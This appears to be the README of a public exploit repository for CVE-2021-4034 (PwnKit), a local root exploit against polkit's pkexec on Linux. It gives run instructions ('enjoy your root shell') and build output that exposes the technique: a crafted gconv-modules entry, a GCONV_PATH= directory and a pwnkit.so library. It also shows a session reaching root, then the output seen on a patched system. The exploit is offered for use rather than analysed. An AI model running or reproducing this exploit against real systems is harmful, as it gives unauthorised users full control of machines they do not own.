an0n7os/cve-2021-4034Exploit for CVE-2021-4034, a polkit pkexec privilege escalation vulnerability, providing a root shell on vulnerable Linux systems.
Just execute make, ./cve-2021-4034 and enjoy your root shell.
If the exploit is working you'll get a root shell immediately:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).